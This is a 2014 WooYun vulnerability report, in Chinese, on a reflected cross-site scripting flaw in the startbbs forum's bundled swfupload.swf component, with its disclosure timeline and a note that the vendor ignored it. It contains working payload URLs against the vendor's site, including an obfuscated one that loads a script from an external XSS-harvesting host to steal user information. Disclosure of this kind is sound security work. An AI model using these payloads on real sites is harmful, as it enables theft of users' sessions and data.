漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-058399
漏洞标题：startbbs反射型跨站,可获取用户信息.(通杀所有版本)
相关厂商：startbbs.com
漏洞作者： wutongyu
提交时间：2014-04-25 12:43
修复时间：2014-07-23 18:34
公开时间：2014-07-23 18:34
漏洞类型：xss跨站脚本攻击
危害等级：中
自评Rank：5
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-04-25： 细节已通知厂商并且等待厂商处理中
2014-04-30： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-06-24： 细节向核心白帽子及相关领域专家公开
2014-07-04： 细节向普通白帽子公开
2014-07-14： 细节向实习白帽子公开
2014-07-23： 细节向公众公开
简要描述：
rt
详细说明：
startbbs是一款基于mvc架构的开源论坛。
但是某处使用了存在漏洞的组件，导致存在一个通杀的反射型跨站漏洞，由于是flash跨站，所以不受任何浏览器影响。
startbbs使用了swfupload.swf 该组件，早年的时候p.z大牛就已经爆出了关于他的反射型跨站漏洞。
我们构造：swfupload.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
就可以触发跨站。
来看看官网，已经成功：
http://www.startbbs.com/plugins/kindeditor/plugins/multiimage/images/swfupload.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
当然，官网是最新版，来看看我本地的1.14版本呢?
漏洞证明：
植入xss平台代码：
http://www.startbbs.com/plugins/kindeditor/plugins/multiimage/images/swfupload.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;eval('window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,121,103,102,99,110,120,115,115,46,115,105,110,97,97,112,112,46,99,111,109,47,90,72,75,49,102,76,63,49,51,57,56,51,57,57,50,49,55);document.body.appendChild(window.s)')}}//
看看效果如何：
成功获取用户信息：
修复方案：
升级存在漏洞的swf组件。
版权声明：转载请注明来源 wutongyu@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-07-23 18:34
厂商回复：
最新状态：
暂无